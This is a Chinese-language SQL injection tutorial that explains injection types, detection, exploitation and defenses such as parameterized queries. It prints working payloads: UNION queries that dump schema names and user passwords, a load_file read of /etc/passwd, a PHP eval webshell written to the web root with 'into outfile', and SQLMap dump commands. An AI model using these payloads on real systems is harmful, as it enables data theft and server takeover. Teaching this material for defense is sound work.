SQL注入漏洞
字数 1214 2025-08-12 11:34:05

SQL注入漏洞详解与防御指南

1. SQL注入基础概念

1.1 SQL注入定义

SQL注入是一种将恶意SQL代码插入到应用程序输入参数中的攻击技术,这些参数随后会被传递给后台数据库执行。

1.2 存在条件

  • Web应用与数据库有交互
  • 用户可以自定义交互内容
  • 用户输入未经过充分过滤或转义

1.3 基本原理

攻击者通过构造特殊输入,改变原始SQL语句的逻辑结构,从而执行非预期的数据库操作。

2. SQL注入分类

2.1 按参数类型分类

  1. 数字型注入:参数无需引号包裹
    select * from table where id=1
    
  2. 字符型注入:参数用单引号包裹
    select * from table where name='admin'
    
  3. 搜索型注入:使用LIKE语句
    select * from table where 字段 like '%xxx%'
    

2.2 按数据提交方式分类

  1. GET注入:通过URL参数注入
  2. POST注入:通过表单POST数据注入
  3. Cookie注入:通过Cookie数据注入
  4. HTTP头部注入:通过HTTP头(User-Agent, Referer等)注入

2.3 按执行效果分类

  1. 基于布尔的盲注:通过页面返回的真假判断
  2. 基于时间的盲注:通过时间延迟判断
  3. 基于报错的注入:通过错误信息获取数据
  4. 联合查询注入:使用UNION合并查询
  5. 堆查询注入:执行多条SQL语句
  6. 宽字节注入:利用字符编码转换漏洞

3. SQL注入检测方法

3.1 基础检测技术

  1. 布尔判断

    • id=1 and 1=1 (正常返回)
    • id=1 and 1=2 (异常返回)
  2. 逻辑运算符特性

    • AND:全真为真,有假为假
    • OR:有真为真,全假为假
    • XOR:真为假,假为真

3.2 信息收集技术

  1. 猜解字段数

    order by n--+
    

    不断增加n直到报错

  2. 联合查询

    union select 1,2,3--+
    

    确定显示位

  3. 获取数据库信息

    union select 1,group_concat(schema_name) from information_schema.schemata--+
    

4. SQL注入利用技术

4.1 完整利用流程

  1. 爆数据库名:

    union select 1,group_concat(schema_name) from information_schema.schemata
    
  2. 爆表名:

    union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
    
  3. 爆列名:

    union select 1,group_concat(column_name) from information_schema.columns where table_name='users'
    
  4. 爆数据:

    union select group_concat(username),group_concat(password) from 数据库名.表名
    

4.2 高级利用技术

  1. 文件读取

    load_file('/etc/passwd')
    
  2. 文件写入/GetShell

    select '<?php eval($_POST[cmd]);?>' into outfile '/var/www/html/shell.php'
    

    条件

    • 知道网站绝对路径
    • GPC未开启
    • 有FILE权限
    • 目录有写权限
  3. 宽字节注入
    利用GBK等双字节编码特性,如:

    %df' 会被转义为 %df\' → 吃掉转义符
    

5. SQL注入防御措施

5.1 编码防御

  1. 使用参数化查询/预编译语句
  2. 使用ORM框架
  3. 输入验证与过滤
    • 白名单验证
    • 类型检查
  4. 转义特殊字符
    • addslashes()
    • mysql_real_escape_string()

5.2 配置防御

  1. 最小权限原则:数据库账户仅授予必要权限
  2. 关闭错误显示:防止敏感信息泄露
  3. 使用WAF:Web应用防火墙

5.3 其他措施

  1. 定期安全测试:静态和动态测试
  2. 使用成熟框架:避免自行编写SQL语句
  3. 安全编码培训:提高开发人员安全意识

6. 工具使用

6.1 SQLMap基础用法

  1. 检测注入点:

    python sqlmap.py -u "http://example.com?id=1"
    
  2. 获取数据库:

    python sqlmap.py -u "http://example.com?id=1" --dbs
    
  3. 获取表:

    python sqlmap.py -u "http://example.com?id=1" -D 数据库名 --tables
    
  4. 获取数据:

    python sqlmap.py -u "http://example.com?id=1" -D 数据库名 -T 表名 --dump
    
  5. POST注入检测:

    python sqlmap.py -u "http://example.com" --forms
    

7. 总结

SQL注入虽然是一种"古老"的攻击方式,但在当今仍然存在。防御SQL注入需要从开发阶段就重视安全编码,采用参数化查询等安全措施,同时配合运维层面的安全配置,才能有效防范此类攻击。

SQL注入漏洞详解与防御指南 1. SQL注入基础概念 1.1 SQL注入定义 SQL注入是一种将恶意SQL代码插入到应用程序输入参数中的攻击技术,这些参数随后会被传递给后台数据库执行。 1.2 存在条件 Web应用与数据库有交互 用户可以自定义交互内容 用户输入未经过充分过滤或转义 1.3 基本原理 攻击者通过构造特殊输入,改变原始SQL语句的逻辑结构,从而执行非预期的数据库操作。 2. SQL注入分类 2.1 按参数类型分类 数字型注入 :参数无需引号包裹 字符型注入 :参数用单引号包裹 搜索型注入 :使用LIKE语句 2.2 按数据提交方式分类 GET注入 :通过URL参数注入 POST注入 :通过表单POST数据注入 Cookie注入 :通过Cookie数据注入 HTTP头部注入 :通过HTTP头(User-Agent, Referer等)注入 2.3 按执行效果分类 基于布尔的盲注 :通过页面返回的真假判断 基于时间的盲注 :通过时间延迟判断 基于报错的注入 :通过错误信息获取数据 联合查询注入 :使用UNION合并查询 堆查询注入 :执行多条SQL语句 宽字节注入 :利用字符编码转换漏洞 3. SQL注入检测方法 3.1 基础检测技术 布尔判断 : id=1 and 1=1 (正常返回) id=1 and 1=2 (异常返回) 逻辑运算符特性 : AND:全真为真,有假为假 OR:有真为真,全假为假 XOR:真为假,假为真 3.2 信息收集技术 猜解字段数 : 不断增加n直到报错 联合查询 : 确定显示位 获取数据库信息 : 4. SQL注入利用技术 4.1 完整利用流程 爆数据库名: 爆表名: 爆列名: 爆数据: 4.2 高级利用技术 文件读取 : 文件写入/GetShell : 条件 : 知道网站绝对路径 GPC未开启 有FILE权限 目录有写权限 宽字节注入 : 利用GBK等双字节编码特性,如: 5. SQL注入防御措施 5.1 编码防御 使用参数化查询/预编译语句 使用ORM框架 输入验证与过滤 白名单验证 类型检查 转义特殊字符 addslashes() mysql_real_escape_string() 5.2 配置防御 最小权限原则 :数据库账户仅授予必要权限 关闭错误显示 :防止敏感信息泄露 使用WAF :Web应用防火墙 5.3 其他措施 定期安全测试 :静态和动态测试 使用成熟框架 :避免自行编写SQL语句 安全编码培训 :提高开发人员安全意识 6. 工具使用 6.1 SQLMap基础用法 检测注入点: 获取数据库: 获取表: 获取数据: POST注入检测: 7. 总结 SQL注入虽然是一种"古老"的攻击方式,但在当今仍然存在。防御SQL注入需要从开发阶段就重视安全编码,采用参数化查询等安全措施,同时配合运维层面的安全配置,才能有效防范此类攻击。